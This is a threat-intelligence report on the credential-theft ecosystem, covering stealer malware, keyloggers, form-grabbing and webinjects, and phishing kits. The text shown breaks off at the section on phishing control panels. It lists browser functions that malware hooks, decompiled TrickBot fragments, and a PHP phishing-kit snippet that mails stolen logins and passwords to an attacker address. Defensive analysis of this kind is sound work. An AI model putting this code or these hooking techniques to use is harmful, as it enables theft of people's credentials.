The Credential Theft Ecosystem

OCTOBER 2018
1. Executive summary 4
2. Introduction 11
3. How are criminals gathering credentials? 13
   3.1. Malware infections 14
      3.1.1. Stealers/Grabbers 14
      3.1.2. Keyloggers 24
      3.1.3. Banking trojans 24
      3.1.4. Form-grabbing 25
      3.1.5. Targeted malware 28
      3.1.6. Stealing modules 28
   3.2. Phishing 31
      3.2.1. Traditional phishing 31
      3.2.2. Phishing meets control panels 33
      3.2.3. Smishing 35
      3.2.4. Vishing 36
   3.3. Man-in-the-Middle attacks 36
   3.4. DNS hijacking 36
   3.5. Vulnerabilities in systems and websites 37
   3.6. Brute-force and dictionary attacks 38
   3.7. Non-technical methods 39
4. What are the criminals doing with the credentials? 41
   4.1. Filtering & extracting 41
   4.2. Validating 44
   4.3. Profiting 46
      4.3.1. Credential trading 47
      4.3.2. Direct use of stolen credentials 50
      4.3.3. Cybercriminals’ objective and business impact 55
5. Protection against credential theft 59
   5.1. Preventing credential theft 59
5.1.1. Cyber-hygiene 59
5.1.2. Password protection 60
5.1.3. Red teaming 60
5.1.4. Additional authentication mechanisms 60
5.2. Detection and fast orchestration against credential theft 61
  5.2.1. Fast blocking and monitoring 61
5.3. What to do next? 61
6. Afterword 63
7. Indicators of Compromise 65
Executive Summary
Cybercriminals steal credentials using a wide range of techniques, tactics and procedures.

The market for compromised credentials is extremely broad with high potential.

Corporate credentials are used to breach organizations and steal sensitive information.

From *blackmail* to *ransom*, selling sensitive information to committing fraud, their end goal is usually to profit from their attack.

Many illegal activities for *financial gain* rely on obtaining credentials: the 'keys' which open doors to organizations and their customers.

81% of hacking-related breaches leverage either *stolen* or *weak passwords*, and all the security products in the world can't protect an organization if the criminals have the *right key* to open the door.

There is a growing industry in the cybercrime ecosystem focused on obtaining valid credentials, using multiple mechanisms and tools. *All of these tools and services can be cheaply acquired in the underground.*

- **Malware infection**
- **Phishing**
- **Man in the middle**
- **DNS Hijacking**
- **Vulnerabilities**
- **Brute-force**
- **Leaked Databases**
- **Social Engineering**

*Those cybercriminals stealing credentials are usually not the same that use them.*

There are vibrant markets where buyers and sellers agree on terms and conditions.
All it takes is a single good credential to gain access to an organization and cause havoc. Once credentials are captured, they can be used in a variety of ways, depending on their type.

**Data breach**
Leveraging corporate accounts and using these as the door opener to perpetrate serious intrusions.

**VIP Impersonation**
Impersonating corporate VIPs on social media or email communications to damage reputation or instruct fraudulent financial transactions.

**Account compromise & identity theft**
Impersonating real customers to steal goods and services, from personal addresses to email to streaming sites.

**Fraud**
Executing fraudulent transactions in financial institutions.

Even with compromised customer credentials, it is the corporation offering the service or good which will usually assume the cost of the fraudulent transaction.
All industries are impacted by credential theft. There are a variety of ways cybercriminals can turn a profit, regardless of sector.

GDPR means that Personal Identifiable Information (PII) will become more attractive to cybercriminals. They will be able to demand higher amounts for not disclosing the information, since companies will be hit hard by the legislation.

Quality over quantity: cybercriminals value much more one fresh corporate credential than thousands of records from unreliable leaks. Corporate Credentials from VIPs or assets are the most valuable, on top of the list. Pricing for those corporate credentials is “value per transaction”.

The freshness of credentials – how recently they have been compromised – is key.

The fresher the credential, the higher the chance the cybercriminal can achieve their financial objective. It is even better if the credential has been compromised without alerting the affected user (for example, malware which removes itself after harvesting the necessary data).

Credentials are rarely used by cybercriminals in ‘real-time’.

Unless they’re compromised in highly-targeted attacks, cybercriminals require time to analyze the reams of data they capture, filter out the ‘prime’ credentials, and sell the data if they are not going to exploit it.

The faster organizations detect compromised credentials the better.

Detecting credentials at an early stage – within days after they are compromised – can massively reduce the impact of an attack.
Understanding the lifecycle of a credential is the first step to closing the door to cybercriminals. Based on Blueliv’s expertise in this area, the objective of this report is to explain how the credentials ecosystem works, from how they are obtained by cybercriminals, how they are processed and monetized, and the different measures organizations can take to prevent and mitigate credential theft.

### The credential theft lifecycle

<table>
<thead>
<tr>
<th>1. Gathering</th>
<th>2. Filtering &amp; Extracting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Malware infection</td>
<td>Panels</td>
</tr>
<tr>
<td>Phishing</td>
<td>Email</td>
</tr>
<tr>
<td>Man in the middle</td>
<td>FTP</td>
</tr>
<tr>
<td>DNS Hijack</td>
<td>IRC</td>
</tr>
<tr>
<td>Vulnerabilities</td>
<td>Hacking tools</td>
</tr>
<tr>
<td>Brute-force</td>
<td>Custom programs</td>
</tr>
<tr>
<td>Leaked Databases</td>
<td>Others</td>
</tr>
<tr>
<td>Social Engineering</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>3. Validating</th>
<th>4. Profiting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Botnets</td>
<td>Credential trading</td>
</tr>
<tr>
<td>Account checkers</td>
<td>Direct use</td>
</tr>
<tr>
<td>Manually</td>
<td></td>
</tr>
</tbody>
</table>
Stolen banking and social network credentials are the most widely-used, followed by e-mail and web service providers, retailers and e-commerce.

62% Growth in number of geolocated compromised credentials from European countries (comparing Jan-May 2017-2018)

½ Europe and Russia home to half of geolocated credential theft victims worldwide since January 2017

Credentials pricelists:

- **Retailers**
  - $9

- **Dating**
  - $3.50/$8.50

- **Social networks**
  - $1.50/$9

- **Payment providers**
  - $2-$100 (depending on balance)

- **Online streaming services**
  - $2/$9

- **Corporate accounts**
  - Closed privately

Credentials cost:

- **Banking**
  - Empty balance accounts are also sold, with a price of approximately $4.

- **$9**
- **$3.50/$8.50**

- **$1.50/$9**
- **$2-$100** (depending on balance)

- **$2/$9**
- **Closed privately**

Top stealing techniques:

- **Malware**
- **Phishing**
- **Vulnerabilities**

- **Pony, KeyBase and LokiPWS are the most active stealers.**
- **A stealer C2 stays alive an average 60 days.**
- **LokiPWS distribution has increased more than 300% in the past year.**

Credential theft mitigation:

- **Security awareness & education**
- **Host/Network detection of malware infections**
- **Credential theft monitoring services**
2. INTRODUCTION

Different kinds of credentials are used by billions daily to authenticate themselves in their physical and digital lives. From physical keys to tokens and cards, to digital private keys, session cookies, digital certificates, to cryptocurrency wallets, login and password combinations... all types of credentials are vulnerable to attack. In this report, we focus on login-password credentials, the most widely-used and easily compromised.

This report explains the different phases of the credential theft lifecycle, showing the various ways cybercriminals can steal credentials and what they do with them afterwards: from the moment they are stolen, using methods such as malware infections or phishing, until they are used by the cybercriminals for financial gain. Depending on the type of attack, the credentials may end up in an underground marketplace waiting to be sold and used by other cybercriminals. The credentials might also end up on a botnet database, where a smart botnet administrator will be able to spot them using sophisticated search engines, identify them as a potential attack vector and further compromise the organization from which they were stolen.

Both individuals and organizations must protect against and try to prevent credential theft, so in the last section of the report some conclusions and recommendations are provided based on Blueliv’s expertise. Finally, an appendix with a list of IOCs is also included, so the information provided can be double-checked without problems.
How are criminals gathering credentials?
3. HOW ARE CRIMINALS GATHERING CREDENTIALS?

Cybercriminals use a variety of methods for stealing credentials, depending on their skill set and resources. One of the easiest ways to collect credentials from their victims is using phishing as an attack vector. This technique is normally accessible to a wide range of criminals and does not require a great deal of resources.

![Diagram showing methods used for stealing credentials](image)
Nowadays, malware infections are the main ‘tool’ used to steal credentials, in terms of efficiency, volume and timeliness. However, these often require greater knowledge and resources. Obviously, success depends on the type of malware used and its targets, but it is possible to buy cheap kits or use source code leaks in order to achieve the objective. More advanced attackers are able to infect machines and move laterally in an organization network, causing a data breach and exfiltrating thousands or even millions of credentials. Another way of stealing credentials is to inject code into compromised sites (e-commerce pages, for example), so at the moment of login the credentials are compromised and sent to the attacker.

Besides these main methods, successful credential theft is down to attackers’ experimentation and ingenuity: setting up rogue WiFi hotspots and intercepting network traffic; installing physical keyloggers on public computers; downloading leaked databases; taking advantage of password reuse across different services, etc.

In this section of the report we will outline some of the stand-out methods employed in credential theft.

### 3.1. Malware Infections

Malware infections are among the most popular attack vectors used by adversaries. A significant number of credentials are permanently stored in computers nowadays, using browser vaults or configuration files, while third-party applications like mail or FTP software use their own methods to store the passwords in a ‘safe’ way. Stealers take advantage of this and try to collect usernames and passwords from these locations and send them over to the control panel (Command and Control, C2 or C&C). In some cases, they even decrypt the containers to extract the desired credentials.

Keyloggers are also a major threat: they are capable of stealing passwords as we type them to access our accounts. But these two types of malware families are not the only ones exfiltrating credentials. Banking trojans have been doing this for years, using what is known as form-grabbing, code injection and even using specific stealer modules dropped in the infected machines. Other malware types like backdoors or remote access trojans (RATs) might not exfiltrate credentials directly, but they could help the attackers to perform targeted attacks, leading to data breach.

Besides these types of malware, some malware families perform what are known as pharming attacks. These attacks modify legitimate DNS responses to return malicious IPs rather than the legitimate website IP, by modifying the host’s file or hijacking and modifying DNS responses via API hooking. The attackers then redirect the victims to the malicious server where a phishing page is normally hosted.

### 3.1.1. Stealers/Grabbers

A grabber, stealer or infostealer is a malware family type whose main objective is to steal any kind of important information stored in the infected systems. In this report we focus on Windows stealers because overall they steal a greater amount of credentials, but it should be noted that other platforms are targeted too.
Some stealers can even decrypt third-party encrypted files and extract credentials from them.

In fact, stealers are a pretty common threat to mobile users, where stolen information can include SMS messages, call and browser history, contacts, and details about installed applications. Trojans like Red Alert 2.0 or Bankbot focus on banking credentials, creating a layer on top of the targeted banking applications in order to steal usernames and passwords.

Among Windows grabbers, the most active stealer families are currently Pony Loader, KeyBase, AZORult, LokiPWS, ISR Stealer, Usteal, Agent Tesla and HawkEye, though many more exist in the wild.

![Fig 2. Overview of detected samples per family in the past six months](image)

Most stealers look for credentials in specific locations like Windows registry keys, configuration files, password vaults and web browser permanent storage, amongst others. These credentials might be stored in plain text format, but it might also be the case that these files are encrypted using a custom algorithm depending on the related software. Some stealers can decrypt these encrypted files and extracting credentials from them.

Once the collection phase is over, the malware connects to the C2 to send the stolen information, usually using encryption to avoid being caught in the act. Both phases, collection and reporting, may last just a few seconds, so avoiding the infection in the first place is crucial to halt exfiltration.
Stealers are looking for:

- Passwords, cookies and web certificates
- Credentials stored by third-party apps: FTP, mail, downloader managers, SSH, Telnet, VPN, RDP, IM, gaming, cryptocurrency exchanges, etc.
- Cryptocurrency wallets
- Clipboard data
- Keystrokes
- Screenshots and screen/webcam recordings
- Network traffic

Fig 3. Pony server-side module to decrypt FlashFXP credentials

The types of information that stealers are after are quite varied, but most look for:

- Passwords, cookies and certificates stored by web browsers
- Credentials stored by third-party applications: FTP, mail, downloader managers, SSH, Telnet, VPN, RDP, IM, gaming, cryptocurrency exchanges, etc.
- Cryptocurrency wallets
- Clipboard data
- Keystrokes
- Screenshots and screen/webcam recordings
- Network traffic

Credential stealers are usually sold in underground forums and markets, and you can find a wide range of profiles using this type of malware. From advanced threat actors incorporating stealers into their modus operandi (such as Vawtrak, that incorporated Pony as a module in its infections) to less technologically skilled profiles.

Malware developers provide builders to easily configure and generate the malicious payload without the need to recompile the source code, and instructions on how to install the command and control panel.
Some developers and members of the malware community go as far as to create video tutorials (mostly found on YouTube) in which they explain everything that’s necessary to deploy the botnet. From buying a domain, to rent a server with LAMP (Linux+Apache+Mysql+PHP) or similar setups, how to create the database, and configuring the builder to use the configured C2 server.

Malware developers provide builders and even video tutorials to deploy their botnet.

On average, C2s are alive for 60 days.

Fig 4. Video tutorial showing how to configure a LokiPWS panel

The C2s are usually taken down as soon as possible to mitigate risk, but this process can take some time, depending on the hosting company and whether it is a ‘bulletproof’ server, for example. On average, C2s are alive for about 60 days, but depending on the family this figure might double in the case of Usteal, or go down to 28 days in the case of HawkEye.
Pony is both a loader and a stealer, and can be a standalone executable or code terminating after theft.

On average, a Pony botnet can steal around 8,000 credentials.

3.1.1.1. Pony Loader

Pony Loader, also known as Pony or FareIT, has been active since 2011 and is one of the most widely-used loaders and stealers for Windows systems. As mentioned, this piece of malware can act both as loader, installing additional malware in the infected systems, and as an effective stealer, collecting a variety of credential types to send to its C2. At the beginning, the communication with the C2 used to be transmitted in plain text, but in recent years an RC4 layer was added to protect the information and complicate the analysis.

Pony can be seen as a standalone executable which can assure permanence in the system, or as code ready to be executed in memory which terminates itself after the theft. In other cases, a Pony module has been used as a DLL for malware families like Vawtrak/Gozi (currently inactive), Andromeda, Ramnit and others.

This stealer is capable of credential theft across a large list of email, instant messenger and FTP applications, and also VPN and SSH software. It also has the ability to perform brute-force attacks against user accounts and uses reverse engineering techniques to decrypt passwords stored in encrypted format. A Pony botnet steals on average 8,000 credentials, but depending on the binary distribution it could steal up to millions of passwords.
In the summer of 2013 its source code was released, and its v.2.0 source code was put on sale in May 2014. After these events, new variants based on Pony’s code appeared, such as Fox Stealer/Pony Fox. Due to the current widespread and de-centralized nature after its source code was made public, takedown efforts are less effective against Pony and its variants than other stealers.

Fig 6. Types of credentials stolen by Pony

Fig 7. Pony Loader v2.2 panel advertised in an underground forum
3.1.1.2. KeyBase

First reports of KeyBase surfaced in June 2015, although its origins go back to February 2015. Initially a basic keylogger, its capabilities constantly evolved due to frequent updates which converted it fully into a stealer. These capabilities included keystroke capture, screenshotting, stealing clipboard data and extracting credentials from browsers, email clients and other applications.

It was originally marketed and sold for $40-50 as legitimate software on its official website (now offline), even though many of its functionalities were quite specific to cybercrime activities. Around July 2015, KeyBase’ author supposedly ceased the project and offered to help authorities conduct investigations. However, shortly after the source code of KeyBase was leaked online in underground hacking forums. These communities took over and continued developing it, branching out countless variants and keeping the KeyBase malware family alive today.

Regarding geographical distribution, Blueliv has found that a sizeable number of KeyBase victims are located in India, United States, Iran and United Arab Emirates, followed by Nigeria, Saudi Arabia and Italy.
LokiPWS is both a loader and stealer. It is available as a modular product with prices ranging between $200-400 depending on desired use.

LokiPWS’ popularity is increasing, and is distributed via malicious email campaigns.

3.1.1.3. LokiPWS

LokiPWS, also known as LokiBot, can act both as a loader for other malware as well as a password and cryptowallet stealer. It was first spotted in May 2015, when a new user with little reputation tried selling it across several well-known Russian-speaking underground forums, trying to boost credibility by providing test versions to the forum administrators. Currently, it is available from a variety of underground markets as a modular product (stealer, wallet stealer and loader) with prices ranging between $200-400, depending on the desired functionality.

The malware is written in C++ and is compatible with the most recent versions of Windows. Its functionalities as a stealer include extracting credentials and private information from browsers, FTP/VNC clients, email and IM clients, poker games and ‘sticky’ note clients. It also aims to steal cryptocurrency wallets, including Bitcoin and Litecoin. The information is then sent to a configurable C2 server via HTTP POST.

LokiPWS is still widely distributed through malicious email campaigns containing malicious PDFs or Office documents with macros, which at execution download and launch the malware. In the past year we have seen an increase in the number of LokiPWS samples detected by our infrastructure, suggesting that its popularity among cybercriminals is increasing. Source code leaks of different versions of LokiPWS in recent years have probably influenced this increase, existing leaks for at least versions 1.6, 1.8 and 1.8.1.
AgentTesla is mostly distributed through phishing campaigns and cybersquatting via weaponized documents.

Agent Tesla is openly sold as malware-as-a-service between $9-30, with customer support and updates available.

It has undergone rebranding via different variants, including Negasteal in 2017.

**Fig 10. LokiPWS distribution increased more than 300% in the past year**

**3.1.1.4. Agent Tesla**

Agent Tesla’s distribution was first observed in June 2015, through multiple cases of phishing campaigns that contained a weaponized document to download the malware. Other distribution techniques have also been used, including cybersquatting, a malicious practice which relies on registering domain names similar to known trademarks and profiting from tricked users. According to our research the countries with most victims are Russia and Ukraine, followed by United States, Yemen, Nigeria.

**Fig 11. Geographical distribution of Agent Tesla victims**

The stealer is capable of capturing keystrokes (both from physical and virtual keyboards), taking screenshots and collecting account information, credentials and credit cards from multiple legitimate applications of the infected system. It also publicizes its capabilities to block anti-virus solutions and to bypass UAC (User Account Control) protections.
An average AZORult control panel can store roughly 12,000 credentials, though they can collect over a quarter of a million.

AZORult is priced at $100 and sold by Russian-speaking sellers.

It is widely available on underground forums with the pricing varying depending on the seller. There are even dubious offerings of free cracked versions of the malware. Agent Tesla is also openly sold as malware-as-a-service directly from its ‘official’ website, www.agenttesla.com, for prices ranging between $9-30 with the advantage of receiving updates and 24/7 support. Currently it is still a popular choice among cybercriminals due to its price and availability.

A variant dubbed Negasteal appeared in mid-2017. This variant simply has the string ‘Negasteal’ in the binary instead of AgentTesla, but uses the same command and control panel, communication protocol, and has the same functionalities. This is probably a case of rebranding by some actor attempting to sell the malware.

3.1.1.5. AZORult
AZORult is designed to harvest and exfiltrate private information and credentials. It is mainly distributed using exploits kits such as RIG EK and the first-stage malware Seamless. It looks for saved credentials from a wide range of desktop applications, browser data such as cookies and forms, specific types of files, Bitcoin wallets, Skype message history and data about the infected computer, and sends it to its C2 server. An average control panel can store approximately 12,000 credentials, but larger panels can collect more than a quarter of a million credentials.

Reports of this malware date back to July 2016 and it is still active, with several distributions over the past few months. It is priced at $100 and sold by Russian-speaking sellers. The malware is still being developed by the actor CrydBrox, who released AZORult v2 in the first half of 2017, and recently fixed a known security problem in the panel which allowed downloading all of its credentials. Older versions of the malware have been leaked in different underground forums, making them available for free to whoever wants it.
Keyloggers focus on spying on keystrokes, storing them on disk with context and sharing with the C2.

Most stealers and trojans include this functionality. In fact, it is now difficult to find malware families providing solely keylogging functionality.

Banking trojans use Man-in-the-browser techniques like web fakes, web injects and form grabbing.

Their targets have expanded to attack other sectors like retail and insurance, since non-banking credentials are also exfiltrated to the botnets’ panels.

3.1.2. KEYLOGGERS

A keylogger is a malware family type which focuses solely in spying on the keystrokes typed by its victims. As a result of low- and high-level API hooking techniques and the use of specific functions like SetWindowsHookEx, GetMessage and PeekMessage, the malicious code collects all keystrokes and stores them on disk. It also adds context, such as the specific running processes or the window title where the keys were stolen from. Usually, this information is stored locally in the infected system, sent later to the malicious control panel. Most stealers and other malware families like remote access trojans (RATs) or banking trojans include this functionality in their code. In the past, standalone keyloggers were quite popular, but nowadays it is difficult to find malware families providing just keylogging functionalities, as most of them are more complete stealers.

It is worth mentioning hardware keyloggers here, which have the same objective, but they require physical access to the target computer. They are often quite difficult to spot, as they can be installed as a USB stick which records keystrokes from boot and steals BIOS passwords.

3.1.3. BANKING TROJANS

As the name suggests, banking trojans’ main objective is to steal banking credentials and perform banking fraud. Since 2006, this kind of threat has evolved to complicate analysis, adapt to new technologies and bypass two-factor authentications. Targets for banking trojans have evolved too, using different malicious techniques to attack other sectors like insurance or retail, among others.

Banking trojans make use of Man-in-the-Browser (MitB) techniques like transparent redirections to phishing pages where the browser security looks legitimate (‘web fakes’), or injection of code to modify the web browser content before the user actually can see it (‘web injects’). Besides this, taking screenshots or even recording videos are common practices, usually performed by ‘web filters,’ and also built-in functionality to report any kind of form data sent to the Internet. This is known as form-grabbing.
and it is one of the functionalities which makes banking trojans a threat not just for the financial sector, but for many other sectors, as non-banking credentials are exfiltrated to the botnets’ panels too.

### 3.1.4. FORM-GRABBING

This technique has been present in banking trojans and other malware families for years. The objective is to harvest any form data sent by the user using a web browser and send it to the malicious control panel. In order to achieve this, the trojan will hook different API calls, depending on the target browser, and intercept data sent to these functions before it is sent to the Internet. This technique even allows data interception before it is encrypted to be transmitted via HTTPS. Malware developers usually test that it works with main web browsers, as the latest versions could be incompatible and make the web browsers unstable.

This is a list of functions which are typically hooked to perform a form-grabbing attack:

- **Internet Explorer**
  - wininet.dll!InternetWriteFile
  - wininet.dll!HttpSendRequest
  - wininet.dll!HttpSendRequestEx
  - Secure32.dll!EncryptMessage
- **Firefox**
  - nspr4.dll!PR_Write
  - nss3.dll!PR_Write
- **Chrome (kTLSProtocolMethod table)**
  - ssl3_write_app_data

Using anti-rootkit tools which check for hooks in the system can help to spot this kind of attack if the hooking is done at user level (ring3). However, it could still be hidden if the hooking is performed at kernel level (ring0).

![Fig 14. Use of API hooking in a form-grabbing attack](image-url)
Form-grabbing allows botnets to collect an impressive amount of stolen data, including credentials for all sorts of online services, no matter which service they are providing. All this data ends up in the botnet databases, which must be capable of storing and indexing it efficiently so the administrators are able to search for specific credentials. In the past, the malicious backends did not perform this task correctly and the botnet administrators could not efficiently locate or extract all this information. Nowadays, most botnet backends include multi-purpose databases and search engines capable of mining credentials more effectively in order to find interesting targets.

Banking malware families using form-grabbing as a built-in or additional component include all Zeus variants, Gozi-ISFB, TrickBot, Dridex, and Nymaim amongst others. Blueliv has analyzed Dridex in greater detail in this separate report.

3.1.4.1. Webinjexts

Web injection is another technique which uses a MitB attack. Instead of simply reading the data sent to the Internet (like form-grabbing), this technique reads the data coming from the Internet, modifies it and then pushes it back to the web browser. API hooking is also used here; the following functions are hooked for this purpose:

- Internet Explorer
  - wininet.dll!InternetReadFile
  - wininet.dll!InternetReadFileEx
  - Secure32.dll!EncryptMessage
- Firefox
  - nspr4.dll!PR_Read
  - nss3.dll!PR_Read
- Chrome (kTLSProtocolMethod table)
  - ssl3_read_app_data
  - ssl3_read_close_notify

This technique has been used for over a decade to steal banking credentials and perform fraudulent transfers. When a victim tries to visit a targeted bank page, the malware intercepts the content received from the bank server and modifies it to include additional HTML code, such as form fields or Javascript code. The user will then see this new content as the original bank page. Inserting malicious Javascript code allows the attackers to perform a multiple-stage attack where different HTML code is injected depending on the online banking page the user is visiting at that moment.
This kind of attack normally connects to an inject C2 (different to a trojan C2). Thanks to this powerful technique Automatic Transfer Systems (ATS) attacks are also possible, where fraudulent beneficiaries (mules) are extracted from the inject C2 and the fraud is performed automatically from the infected machine.

Fig 15. Ramnit webinject attacking Target, the well-known online retailer

In this case, credentials belonging to the targeted organization are sent to the C2, but not other credentials like in form-grabbing attacks. Most of the time, the targeted companies for this attack are financial institutions, but different kind of verticals are also targeted including insurance companies, online retailers, job websites and crypto exchanges.
3.1.4.2. Webfakes
This is an old technique but has evolved over time and is currently employed more frequently by the likes of TrickBot and others. Webfakes are the usual phishing attacks combined with MitB techniques. When a victim tries to visit a URL, the URL is compared against a target list. If the URL matches, the user is transparently redirected to a phishing page. However, while URL address remains the same, the malicious code retrieves the phishing page from a remote location and gives it to the browser as the content of the original page. This is able to be performed through API function hooking, as described in the form-grabbing and webinjects sections.

3.1.4.3. Webfilters
Webfilters allow banking trojans to monitor specific URLs and perform actions when a user tries to visit them. Webfilters appeared with ZeuS in 2006 and have changed slightly in the intervening years. Webfilters mean that a banking trojan is able to monitor specific URLs and perform actions when a user tries to visit them. Examples including the activation of specific modules like VNC or socks, taking screenshots, recording a video, or blocking the connection. It might also report the HTTP requests performed by the browser to the C2, which can also contain credentials. In order to accomplish this monitoring API hooking is used again.

3.1.5. Targeted Malware
Other, more targeted malware variants are often used to exfiltrate credentials. These families try to collect system credentials by dumping them directly from memory using tools such as mimikatz, then sending them to the C2. Some also modify certain system libraries to allow multiple simultaneous Terminal Server sessions, so they can connect to the infected machine using stolen credentials via RDP. An example of this behavior was seen in a modified Ammyy Admin binary related to the Dridex gang.

In general, targeted malware is used by professional cybercriminal groups who spread the malware using spear phishing or use existing infections. Dridex is an example of this, as one of its botnets was used to install Carbanak/Anunak in specific systems, giving control to a different group. It is uncommon to see this kind of malware being spread widely and the attacker’s objective is normally really ambitious, moving laterally in the network of the targeted company until they find a way to monetize the intrusion. The ROI for the bad guys must compensate the effort of the intrusion, so most of the time these attacks might end up in a significant data breach or large-scale fraud.

3.1.6. Stealing Modules
In this section we have described different malware families whose objective is primarily to steal credentials. However, we must not forget that other kind of malware families whose main objective is not credential theft are also adding functionalities through specific modules. Examples include the Pony Loader above, and families like TrickBot, Emotet or Andromeda.

3.1.6.1. Andromeda
Andromeda is a popular loader which has been active since 2011, and was disrupted.
Andromeda is a popular loader, able to accept different, customizable plugins.

TrickBot is one of the most active banking trojans, using webfakes, webinjects and form-grabbing techniques.

at the end of 2017. The main actor behind this malware, Ar3s, was arrested and a significant proportion of related crimeservers were taken down to great effect. Andromeda was previously used as a loader by gangs such as Dridex (Smilex), Anunak and GamaPOS.

Besides its main functionality as a loader, Andromeda is able to accept different plugins that can often be customized by users. The default plugins currently for sale which complement Andromeda are a form-grabber, a keylogger and a proxy/socks module, meaning that its botnets can successfully collect a decent number of credentials. We have also observed Pony modules that have been used by Andromeda users.

3.1.6.2. TrickBot

Nowadays, TrickBot is one of the most active banking trojans. It is commonly known as the successor to Dyre and its main objective is to carry out banking fraud using webfakes and webinjects. TrickBot is also able to perform form-grabbing attacks against web browsers using its import.dll module. Another interesting module is Outlook.dll, a component written in Delphi which collects Microsoft Outlook credentials stored across different profiles in the infected machine.

```c
v12 = &savedregs;
v11 = &loc_444FD0;
v10 = _readfsdevord();
_win watchdog();
OpenEnumAndReadRegKeys((int)"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook", &v1);
OpenEnumAndReadRegKeys((int)"Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook", &v1);
v3 = &v1;
OpenEnumAndReadRegKeys((int)"Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook", &v1);
System::linkproc__LStrCatN(&v1, 5, v8, &str__0[1], v3, &str__0[1], v10);
v9 = unknown_library_56(v10);
```

Fig 16. TrickBot module searching the Outlook profiles

```
System::LinkProc__LStStrCompare((int)"Outlook", &v0, 1, &str__0[1], v2, &str__0[1], v10, &str__0[1], v10);
```

Fig 17. Extraction of credentials from Outlook
3.1.6.3. Emotet/Geodo

Geodo or Emotet is currently a piece of code being used as a spam botnet, but its past is a little more complex. This trojan is the evolution of the banking trojan Feodo (also known as Cridex and Bugat), which later evolved into Emotet whose main objective was to carry out banking fraud. After this version, a new evolution of the banking trojan appeared and was renamed Dridex, the now infamous banker.

Emotet as a banking trojan disappeared in the middle of 2015 and was declared missing until December of 2016. However, when it reappeared its objective had changed. No banking module was detected in this new wave and its main purpose was now a spambot used to spread additional malware. This latest version is also known as Emotet v4.

Emotet is quite modular and it needs to download additional modules to perform malicious activities. Thanks to its spambot module, it is able to spread itself and additional malware families. It makes use of e-mail templates, attachments, recipient e-mail addresses and e-mail credentials which it downloads from its C2. The e-mail credentials are stolen, collected from infected computers using a different module.

This module is also able to steal credentials from web browsers and e-mail clients using legitimate NirSoft password recovery software. The application Mail PassView is used to collect e-mail credentials, while WebBrowserPassView is used to extract passwords stored within web browsers. The ‘recovered’ credentials are sent to the C2 in order to be used to send spam e-mails.

**Fig 18. Exfiltration of credentials by Emotet modules**
3.2. PHISHING

Phishing is a seminal technique used by cybercriminals to steal credentials and personally identifiable information (PII) from its victims. It remains one of the most effective attack vectors, due to the fact that it is normally used together with social engineering techniques to extract information from its victims.

‘Traditional’ phishing begins with an e-mail. The sender tries to make the victim follow a link and enter credentials or PII information. The success of the attack often depends on the level of social engineering and quality of communication. Other phishing attacks may use SMS messages (smishing) or voice calls (vishing), rather than e-mails to extract confidential information from the victim. In recent years we have observed evolution in techniques, including the use of control panels to manage phishing campaigns and to store stolen credentials.

Nowadays phishing attacks may also refer to the distribution of malware campaigns via unsolicited e-mails. We will use the term here only to refer to phishing in the classical sense, meaning the luring of individuals into providing sensitive data such as PII, financial details and passwords. When phishing is more targeted against an individual or a company, then it is known as spear phishing.

Phishing remains a big problem and a highly successful method used by cybercriminals for credentials theft. Though the attacker profile performing phishing attacks is usually less sophisticated than counterparts utilizing malware or performing major banking fraud, it is still a persistent threat which all organizations should be aware of.

3.2.1. TRADITIONAL PHISHING

Phishing started around 1995 according to some sources, and targeted mail and telco users in order to steal their passwords. Later, payment providers were also targeted and finally banks customers too. Nowadays, social networks like Facebook and e-mail...
WordPress is one of the most exploited CMSs, due to its popularity and the lack of good security practices among their users.

Attackers often register a similar domain to their target and take advantage of users’ mistakes by typosquatting.

Phishing kits are readily available and attackers need not be highly skilled to use them.

It is common to see files and code snippets reused among different phishing kits.

providers like Gmail or Outlook are common targets of phishing, but also other service providers like eBay, PayPal, Dropbox, AOL, DHL and banks, of course.

The phishing page can be hosted in a rented server or can be uploaded to a compromised site using a non-patched vulnerability in a Content Management System (CMS), for instance. WordPress is one of the most exploited CMSs, due to its popularity and the lack of good security practices among their users. In the case of rented servers, the attackers will register a domain name similar to the targeted company, so it can look as less suspicious as possible and they try to take advantage of users’ mistakes using typosquatting techniques. When the attackers choose a compromised site to host the phishing, they try to hide the real URL in the phishing e-mails using HTML links with the targeted company website as the link text. Here, the bad guys tend to use phishing kits and they sometimes just unzip the package and keep the same folder name as the package name. In order to assure access to the compromised site they might install a PHP backdoor to easily manage all the files and access again if the phishing folder has been removed.

Phishing kits have been widespread for many years, and attackers using them tend not to be highly skilled, or ‘juniors’ starting out in cybercrime. Kits can be bought in cybercrime forums but some of them have become publicly available and been reused for years.

It is not uncommon to see currently active phishing kits showing 2012 in their copyright line. The criminals simply use the same phishing kit, modify some files and upload it to compromised sites. As a result, it is quite usual to see the reuse of files and code snippets among different phishing kits.

![Fig 20. Cybercriminal advertising a PaySafeCard phishing in an underground forum](image)
Control panels are often used to receive phished credentials and simplify the process for criminals.

Phishing kits take a variety of forms and may use obfuscation techniques, but the functionality remains the same. Most have an e-mail address configured to which all the stolen credentials are sent automatically. The e-mail provider chosen by the fraudsters to perform this task is usually Gmail or Yahoo. Depending on the attacker's skills and opsec they may also have created a different account for each phishing campaign, or simply reuse the same account repeatedly.

```php
<?
$ip = getenv("REMOTE_ADDR");
$message .= "------------- ! +xxxx LOGIN ! xDD+ ! --------------\n"
$message .= "------------- ! +Account infoS+ ! --------------\n"
$message .= "Email Address : ",$_POST['username'],"\n"
$message .= "Password : ",$_POST['passwd'],"\n"
$message .= "IP Address : ",$ip,"\n"
$message .= "------------- ! +nJoY+ ! --------------\n"

$send = "malicious@gmail.com"

$subject = "Office365 logs xD $ip";
$headers = "From: Sender<malicious@domain.com>"
$headers .= "$_POST['eMailAdd']","\n"
$headers .= "MIME-Version: 1.0\n"
$arr=array($send, $IP);
foreach ($arr as $send)
    mail($send,$IP);

header("Location: https://outlook.office.com");
```

Fig 21. PHP code used to send credentials to the attacker’s e-mail address

### 3.2.2. Phishing meets control panels

More sophisticated attackers found that receiving so many stolen credentials via e-mail lacked convenience, so looked to simplify the process. Control panels have been around for years, so why not use one to receive the phished credentials? Some phishing kits were already using Javascript to send the credentials via e-mail, so modifying them to send stolen passwords to a control panel seemed obvious. Some gangs even reused webinjects and control panels used to perform ATS and banking trojan attacks.

